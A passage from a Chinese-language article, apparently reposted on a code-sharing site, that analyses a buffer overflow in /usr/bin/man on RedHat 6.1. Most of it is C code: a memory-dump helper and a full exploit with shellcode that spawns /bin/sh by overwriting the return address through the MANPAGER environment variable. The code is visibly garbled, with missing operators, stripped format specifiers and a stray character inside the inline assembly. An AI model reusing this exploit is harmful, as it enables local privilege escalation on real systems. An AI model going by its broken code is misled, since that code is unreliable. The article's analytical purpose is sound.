当前位置: 代码网 > 服务器>网络安全>脚本攻防 > 缓冲区溢出分析

缓冲区溢出分析

2008年10月08日 脚本攻防 我要评论
缓冲区溢出分析 1. 简介 我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对 redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并 没有完... 08-10-08
这里根本没有使用传统的 get_esp() 函数,而且这个exploit code适用于常规环境。
但是这种溢出攻击技术,需要精确覆盖返回地址,并且无法采用传统的大段返回地址
覆盖一片区域的方式,因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意
到,实际上我们现在唯一需要调整的就是溢出点,可以考虑暴力猜测调整溢出点。再
就是,这次关键没有core dump出现,一般都有core dump,那样的话就可以不用暴力
猜测调整了。

我还碰到一个问题,该exploit code在securecrt或者crt下执行都无法取得shell,
虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell,原因未明。建议
如果实在无法取得shell,考虑换个终端工具试试(tt胡言乱语),faint

6. 一个辅助观察execle()之后内存布局的小程序

/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define success 0
#define failure -1
#define envdata 0xbfffff00
#define envdatalen 256

void outputbinary ( const unsigned char * bytearray, const size_t bytearraylen )
{
u_long offset;
int i, j, k;
fprintf( stderr, "bytearray [ %lu bytes ] ----> \n", bytearraylen );
if ( bytearraylen <= 0 )
{
return;
}
i = 0;
offset = 0;
for ( k = bytearraylen / 16; k > 0; k--, offset = 16 )
{
fprintf( stderr, "x ", offset );
for ( j = 0; j < 16; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-x", bytearray );
}
else
{
fprintf( stderr, " x", bytearray );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j , i )
{
/* if ( isprint( (int)bytearray ) ) */
if ( ( bytearray >= ' ' ) && ( bytearray <= 255 ) )
{
fprintf( stderr, "%c", bytearray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
} /* end of for */
k = bytearraylen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "x ", offset );
for ( j = 0 ; j < k; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-x", bytearray );
}
else
{
fprintf( stderr, " x", bytearray );
}
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0; j < k; j , i )
{
if ( ( bytearray >= ' ' ) && ( bytearray <= 255 ) )
{
fprintf( stderr, "%c", bytearray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
return;
} /* end of outputbinary */

int main ( int argc, char * argv[] )
{
u_char * envdata = ( u_char * )envdata;
size_t envdatalen = envdatalen;
if ( argc > 1 )
{
/* 采用16进制 */
envdata = ( u_char * )strtoul( argv[1], null, 16 );
if ( argc > 2 )
{
/* 采用10进制 */
envdatalen = ( size_t )strtoul( argv[2], null, 10 );
}
}
fprintf( stderr, "usage: %s [ envdata ] [ envdatalen ]\n", argv[0] );
fprintf( stderr, "envdata = %p\n", envdata );
fprintf( stderr, "envdatalen = %lu\n", envdatalen );
outputbinary( envdata, envdatalen );
return( success );
} /* end of main */

程序很简单,就是显示一段内存映像。我们所要做的,就是把exploit code里的几个
地方修改一下:

#define vulprogram "./ev"
execle( vulprogram, vulprogram, "0xbfffff00", null, env );

这样观察得到的shellcode源地址显然不适用,因为这里的./ev和/usr/bin/man长度
不一样,熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下:

cp ev usrbin_man
#define vulprogram "./usrbin_man"
execle( vulprogram, vulprogram, "0xbfffff00", null, env );

此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。
必须意识到 execle() 第一个形参对进程空间环境变量区的影响。

这种技术手段适用于sparc/solaris平台,我们利用它可以确定很多关键性地址,可
以调整那些需要n字节边界对齐的地方。

7. 编写针对常规环境下的溢出攻击程序

--------------------------------------------------------------------------
/*
* file : ex_man.c for redhat 6.1 /usr/bin/man
* author : kil3r of lam3rz
* rewriten : warning3 < mailto: warning3@isbase.com >
* complie : gcc -o ex_man ex_man.c
* usage : ./ex_man
* date : 2000-05-16
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>

/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define vulprogram "/usr/bin/man"
#define vulpoint 4067
#define nop 0x90
#define success 0
#define failure -1
#define offset 2000

unsigned long get_esp ( void )
{
__asm__
("
movl %esp, 陎
");
} /* end of get_esp */

int main ( int argc, char * argv[] )
{

char * env[2];
u_long * pointer;
u_long retaddress;
char vulbuf[ vulpoint 5 ];

memset( vulbuf, nop, vulpoint 5 );
memcpy( vulbuf vulpoint - ( strlen( shellcode ) 20 ),
shellcode, strlen( shellcode ) );

retaddress = get_esp() offset;
pointer = ( u_long * )( vulbuf vulpoint );
*pointer = retaddress;
fprintf( stderr, "retaddress = 0xx\n", retaddress );

memcpy( vulbuf, "manpager=", 9 );
vulbuf[ vulpoint 4 ] = '\0';
env[0] = vulbuf;
env[1] = null;
execle( vulprogram, vulprogram, "ls", null, env );
return( success );
} /* end of main */
(0)

相关文章:

  • 有防火墙网站的入侵过程

    有防火墙网站的入侵过程

    有防火墙网站的入侵过程 一、踩点  ping www.111.com 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个... [阅读全文]
  • 简易入侵139端口

    简易入侵139端口

    简易入侵139端口 提到139端口,我想知道的人一定非常多,本来是不想用写这个教程的,但考虑要照顾到新人,所以还是简单的写一下... 08-10-08 [阅读全文]
  • dcomrpc入侵

    dcomrpc入侵

    dcomrpc入侵 需要的工具: 很好的:radmin.exe 扫描工具: retinarpcdcom.exe 溢出攻击工具:RpcDcom(通用溢出... [阅读全文]
  • 攻破雷客图ASP站长安全助手

    攻破雷客图ASP站长安全助手

    攻破雷客图ASP站长安全助手 到Lake2网站上下了1.5的源代码,发现这个版本的确改进了不少,又增加了查杀功能: 1:查杀通过了Unicode编码的ASP木... [阅读全文]
  • 网页“黑手”如何入侵你的Windows系统

    网页“黑手”如何入侵你的Windows系统

    网页“黑手”如何入侵你的Windows系统 网络的流行,让我们的世界变得更加美好,但它也有让人不愉快的时候。比如,当你收到一封主题为“I Love You”的... [阅读全文]
  • 环境变量在Hacking中的应用

    环境变量在Hacking中的应用

    环境变量在Hacking中的应用 首先,我们先了解下什么叫环境变量!环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文... [阅读全文]

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com